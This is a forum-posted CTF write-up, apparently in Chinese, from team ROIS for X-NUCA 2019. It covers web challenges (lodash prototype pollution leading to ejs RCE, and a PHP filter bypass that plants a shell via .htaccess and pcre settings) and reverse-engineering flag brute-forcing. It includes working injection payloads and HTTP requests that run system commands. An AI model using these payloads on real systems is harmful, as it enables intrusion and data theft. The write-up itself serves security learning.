X-NUCA 2019 线上赛 Writeup By ROIS

wywwzjj / 2019-08-27 08:56:00 / 浏览数 4561 安全技术 CTF 顶(1) 踩(0)

WEB

HardJS

首先先看代码，稍微浏览一遍看看有什么奇怪的逻辑，一眼就能看出`lodash.deepAssign`很奇怪。但lodash一般来说不会有啥漏洞出现，因此`npm audit`一下看看是不是有洞。

于是，原型链污染get：https://nodesecurity.io/advisories/1065

那污染之后我们能干啥呢？那当然是RCE了。搜索了一下eval没搜到，那看看还有谁有动态拼接代码的就行了。这里用到了一个模板引擎ejs，它肯定有代码拼接；直接去看e

随便划拉一下屏幕就发现了一大堆源码拼接，从中随便挑一个可以被污染的变量就好了。先看看哪些可能可以操作的，找找大量的`xxx.yyy = xxx.yyy || DEFAULT`聚集的地方：

```
options.client = opts.client || false;
 options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
 options.compileDebug = opts.compileDebug !== false;
 options.debug = !!opts.debug;
 options.filename = opts.filename;
 options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
 options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
 options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
 options.strict = opts.strict || false;
 options.context = opts.context;
 options.cache = opts.cache || false;
 options.rmWhitespace = opts.rmWhitespace;
 options.root = opts.root;
 options.outputFunctionName = opts.outputFunctionName;
 options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
 options.views = opts.views;
 options.async = opts.async;
```

这些全都是可以通过原型链污染控制的，因此再随便翻翻代码找个自己喜欢的点就好。我觉得这个不错：

```
var escapeFn = opts.escapeFunction;
// ......

   if (opts.client) {
     src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
     if (opts.compileDebug) {
       src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
     }
   }
```

对于这个payload，将client、escapeFn污染即可RCE。构造出来的长这样：

```
{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": tru
```

构造完以后再回头去看题目代码（？顺序不太对吧），组合一下利用链。所以直接打五次后访问首页即可get flag：

```
POST /add HTTP/1.1
Content-Length: 156
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
x-forwarded-for: 127.0.0.1'
Connection: close

{"type":"wiki","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":
```

Ezphp

题目源码

```
<?php
   $files = scandir('./');
   foreach($files as $file) {
       if(is_file($file)){
           if ($file !== "index.php") {
               unlink($file);
           }
       }
   }
   include_once("fl3g.php");
   if(!isset($_GET['content']) || !isset($_GET['filename'])) {
       highlight_file(__FILE__);
       die();
   }
   $content = $_GET['content'];
   if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($c
       echo "Hacker";
       die();
   }
   $filename = $_GET['filename'];
   if(preg_match("/[^a-z\.]/", $filename) == 1) {
       echo "Hacker";
       die();
   }
   $files = scandir('./');
   foreach($files as $file) {
       if(is_file($file)){
           if ($file !== "index.php") {
               unlink($file);
           }
       }
   }
   file_put_contents($filename, $content . "\nJust one chance");
?>
```

访问题目会立马删除同目录下除 index.php 以外的文件，传入的 `$filename`、`$content` 被过滤后再通过 `file_put_contents` 写文件。可以正常上传 php 后缀的文件，但没有解析。打算从`.user.ini` 文件配置 `auto_append_file`，进行文件包含，但由于 `$content` 处过滤了 file 关键字。

对于这些过滤，最简单的办法就是编码绕过，结合这里的 `file_put_contents` ，不难想到 P牛之前发过的
[谈一谈php://filter的妙用](), 也就是对文件内容编码后再利用 php 伪协议进行解码写入，可惜 filename
还有一层过滤，只能传入字母和点，伪协议就没法用了，那就继续绕 `preg_match`。

说来也巧，P牛还有一篇 [PHP利用PCRE回溯次数限制绕过某些安全限制]()，但这种绕过方式并不适合这题。沿着这思路继续看下 [PHP手册]()，发现 `pcre.backtrack_limit` 是 `PHP_INI_ALL` ，这意味着我们可以通过 `.user.ini` 对其进行修改。结合刚刚那篇文章，猜想这里的匹配 `preg_match("/[^a-z\.]/)"` 是不是也像这样`[xxx]`的进行回溯。

尝试 ini_set('pcre.backtrack_limit', 0)，发现真能绕过preg_match，再结合
php://filter，就可以在任意位置写入任意内容，并进行文件包含，本地成功打通。

一弄到比赛环境就不行了，这时候队里师傅说这种方式并不适用于 php7，检查了好一会也没发现为什么在 php7 中如此设置会失效，最后看到 php7 多了个配置选项 pcre.jit，且这个配置默认为 1，于是尝试将 pcre.jit 设置成 0，成功。

这总算做完了吧？结果到了题目环境依旧不行，或许是某些原因导致环境中 .user.ini 并没有被解析，这时候就只有只能覆盖 .htaccess 了，但由于上传的文件内容会被额外添加一句"\nJust one chance"，.htaccess并没有 .user.ini 那么强的容错性，一旦格式错误就直接 500 了。在内容末尾加一个#aa\就可以突破这种限制。

基本流程就理清楚了：

首先上传一个.htaccess 绕过 preg_match，再使用 php://filter把 auto_append_file 的配置写入，覆盖掉原先.htaccess，马儿就到手了。

附带 payload

```
http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/?content=php_value%20pcre.backtrack_limit%200%0a
```

下面这个打两次

```
http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/index.php?a=system(%27cat%20../../../root/flag.t
```

Reverse

ooollvm

通过动态调试一步一步的调出flag

程序对每个字符的判断逻辑，只有这两种处理方式:
(这是爆破符合条件的代码

```
for(i = 0;i < 256;i++){
   if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d )
       putchar(i);
}
```

■■0x871f,0x143,0x12c05d■■■■■■■■

```
for(i = 0;i < 256;i++){
   if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6)
       putchar(i);
}
```

flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pass}
（flag 连蒙带猜的，还好单词没有被替换成数字啥的

这是我调试时写的代码，（很乱

```
#include <stdio.h>

int main(){
   int i;
   // for(i = 0;i < 256;i++){
       // if(i*0x7a9a-(i*i*0x133-i*i*i) == 0x104e08)
           // putchar(i);
   // }

   // for(i = 0;i < 256;i++){
       // if(i*0x7b67-(i*i*0x134-i*i*i) == 0x1076f4)
           // putchar(i);
   // }
   // for(i = 0;i < 256;i++){
       // if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d)
           // putchar(i);
   // }
   // for(i = 0;i < 256;i++){
       // if(i*0x97e5-(i*i*0x156-i*i*i) == 0x166ca4)
           // putchar(i);
   // }
   // for(i = 0;i < 256;i++){
```

```
    // if(i*0x98d4-(i*i*0x157-i*i*i) == 0x16a460)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x895c-(i*i*0x145-i*i*i) == 0x135420)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x888b-(i*i*0x144-i*i*i) == 0x132978)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5)
        // putchar(i);
// }
// flag{this_is_
// for(i = 0;i < 256;i++){
    // if(i*0x7a3f-(i*i*0x133-i*i*i) == 0x102b8d)
        // putchar(i);
// }
// flag{this_is_a_
// for(i = 0;i < 256;i++){
    // if(i*0x6b3f-(i*i*0x11f-i*i*i) == 0xd5ba1)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x767f-(i*i*0x12e -i*i*i) == 0xf7792)
        // putchar(i);
// }
// flag{this_is_a_na
// for(i = 0;i < 256;i++){
    // if(i*0x7e95-(i*i*0x138 -i*i*i) == 0x11185e)
        // putchar(i);
// }
// flag{this_is_a_nai
// for(i = 0;i < 256;i++){
    // if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6)
        // putchar(i);
// }
// flag{this_is_a_naiv
// for(i = 0;i < 256;i++){
    // if(i*0x8861-(i*i*0x144 -i*i*i) == 0x13183e)
        // putchar(i);
// }
// flag{this_is_a_naive_
// for(i = 0;i < 256;i++){
    // if(i*0x7fd3-(i*i*0x13a -i*i*i) == 0x1146b2)
        // putchar(i);
// }
// flag{this_is_a_naive_b
// for(i = 0;i < 256;i++){
    // if(i*0x7083-(i*i*0x126 -i*i*i) == 0xe5916)
        // putchar(i);
// }
// flag{this_is_a_naive_bu
// for(i = 0;i < 256;i++){
    // if(i*0x7c93-(i*i*0x136 -i*i*i) == 0x109ef6)
        // putchar(i);
// }
// flag{this_is_a_naive_but
// for(i = 0;i < 256;i++){
    // if(i*0x8e36-(i*i*0x14b -i*i*i) == 0x144b88)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
```

```
    // if(i*0x8b7b-(i*i*0x148 -i*i*i) == 0x13ac7c)
        // putchar(i);
// }
// flag{this_is_a_naive_but_
// for(i = 0;i < 256;i++){
    // if(i*0x80c4-(i*i*0x13b -i*i*i) == 0x117ce0)
        // putchar(i);
// }
// flag{this_is_a_naive_but_h
// for(i = 0;i < 256;i++){
    // if(i*0x71ff-(i*i*0x128 -i*i*i) == 0xe9f98)
        // putchar(i);
// }
// flag{this_is_a_naive_but_ha
// for(i = 0;i < 256;i++){
    // if(i*0x80ea-(i*i*0x13b -i*i*i) == 0x118c50)
        // putchar(i);
// }
// flag{this_is_a_naive_but_har
// for(i = 0;i < 256;i++){
    // if(i*0x7d9e -(i*i*0x137 -i*i*i) == 0x10df88)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard
// for(i = 0;i < 256;i++){
    // if(i*0x7bf2 -(i*i*0x135 -i*i*i) == 0x108678)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_
// for(i = 0;i < 256;i++){
    // if(i*0x79a9 -(i*i*0x132 -i*i*i) == 0x101724)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_o
// for(i = 0;i < 256;i++){
    // if(i*0x780d -(i*i*0x130 -i*i*i) == 0xfc4c2)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_ob
// for(i = 0;i < 256;i++){
    // if(i*0x7dc4 -(i*i*0x137 -i*i*i) == 0x10ee34)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obf
// for(i = 0;i < 256;i++){
    // if(i*0x8274 -(i*i*0x13d -i*i*i) == 0x11d87c)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_
// for(i = 0;i < 256;i++){
    // if(i*0x7a6c -(i*i*0x133 -i*i*i) == 0x103c40)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_p
// for(i = 0;i < 256;i++){
    // if(i*0x7a6c -(i*i*0x133 -i*i*i) == 0x103c40)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_pr
// for(i = 0;i < 256;i++){
    // if(i*0x85be -(i*i*0x141 -i*i*i) == 0x128220)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_pro
// for(i = 0;i < 256;i++){
    // if(i*0x93de -(i*i*0x151 -i*i*i) == 0x15a020)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program
```

```
// for(i = 0;i < 256;i++){
    // if(i*0x8509 -(i*i*320 -i*i*i) == 0x12644a)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x75bf -(i*i*0x12d -i*i*i) == 0xf5393)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_c
// for(i = 0;i < 256;i++){
    // if(i*0x7757 -(i*i*0x12f -i*i*i) == 0xfa479)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_co
// for(i = 0;i < 256;i++){
    // if(i*0x78db -(i*i*0x131 -i*i*i) == 0xfedf3)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x8457 -(i*i*0x13f -i*i*i) == 0x1246e9)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compi
// for(i = 0;i < 256;i++){
    // if(i*0x8f83 -(i*i*0x14c -i*i*i) == 0x14ad50)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x8a55 -(i*i*0x146 -i*i*i) == 0x138f30)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compile
// for(i = 0;i < 256;i++){
    // if(i*0x897c -(i*i*0x145 -i*i*i) == 0x136140)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled
// for(i = 0;i < 256;i++){
    // if(i*0x7c40 -(i*i*0x135 -i*i*i) == 0x10a4f0)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_
// for(i = 0;i < 256;i++){
    // if(i*0x720b -(i*i*0x128 -i*i*i) == 0xea40c)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_b
// for(i = 0;i < 256;i++){
    // if(i*0x6fc2 -(i*i*0x125 -i*i*i) == 0xe34b8)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_
// for(i = 0;i < 256;i++){
    // if(i*0x7f97 -(i*i*0x13a -i*i*i) == 0x11306e)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm
// for(i = 0;i < 256;i++){
    // if(i*0x8807 -(i*i*0x144-i*i*i) == 0x12f174)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x867b -(i*i*0x142-i*i*i) == 0x12a502)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pas
// for(i = 0;i < 256;i++){
    // if(i*0x81b3 -(i*i*0x13c-i*i*i) == 0x11b250)
        // putchar(i);
```

```
   // }
   // for(i = 0;i < 256;i++){
       // if(i*0x77ff -(i*i*0x130-i*i*i) == 0xfbf90)
           // putchar(i);
   // }
   for(i = 0;i < 256;i++){
       if(i*0x8853 -(i*i*0x144-i*i*i) == 0x131050)
           putchar(i);
   }
   puts("");
   return 0;
}
```

CleverBird

跳过游戏部分, 判断逻辑是这样,

```
# while ( *(&ConsoleCursorInfo[0].dwSize + idx_v17) == ((v11 >> v19) ^ (Dst[idx_v17] - '0')) )
# {
# v19 += 8;
# ++idx_v17;
# if ( v19 >= 32 )
```

```
ida_chars = [0x16, 0xE4, 0xB3, 0xBD]
v11 = 0xA991E504
flag = ""
v11 = [0x04, 0xe5, 0x91, 0xa9]
for i in range(len(ida_chars)):
   flag += chr((ida_chars[i] ^ (v11[i])) + 0x30)
   print(flag)
```

flag 前 4 个: flag{B1RD.....

```
if ( v12 ) {
   v16 = &v37;
   while ( 1 ) {
       v17 = *v16++;
       if ( v17 != v12 % 2 + 48 )
           break;
       v12 /= 2;
       if ( !v12 )
           goto LABEL_20;
   }
}
```

只要知道 v12 是多少就行了，v12 是我们的 score，爆破就好了。最后脚本：

```
#include<stdio.h>
#include<string.h>


int main(){

   int win_count;
   for(win_count = 1;win_count != 0xffffffff;win_count++){
       float t = ((float)win_count)*0.5;
       int bvisible = *(int*)(&t);

       t = (float)win_count;
       int dwCursorPosition = 0x5F3759DF-((*(int*)(&t))>>1);

       int res = (int)
               ( ((((((1.5-((*(float*)(&dwCursorPosition))*(*((float*)&bvisible)))*(*(float*)(&dwCursorPosition)))*(*(float*)(
                   *  100000000.0) * 10.0) + 5.0) / 10.0)
                        );
       if(res == 0x436AE){
           printf("find! res is %d\n",win_count);
           break;
       }
   }
```

```
    return 0;
}
```

最后的 v12 = 0x20002，flag 为 flag{B1RD010000000000000001}

点击收藏 | 1 关注 | 1

上一篇：路由器漏洞挖掘测试环境的搭建之问题... 下一篇：CVE-2019-12527: S...

1. 2 条回复

imti**** 2019-08-29 10:13:26

wtcl，原型链污染看不懂

0 回复Ta

南溟丶 2019-08-30 12:04:19

wtcl，请问ezphp的<<有什么作用吗Orz。

0 回复Ta
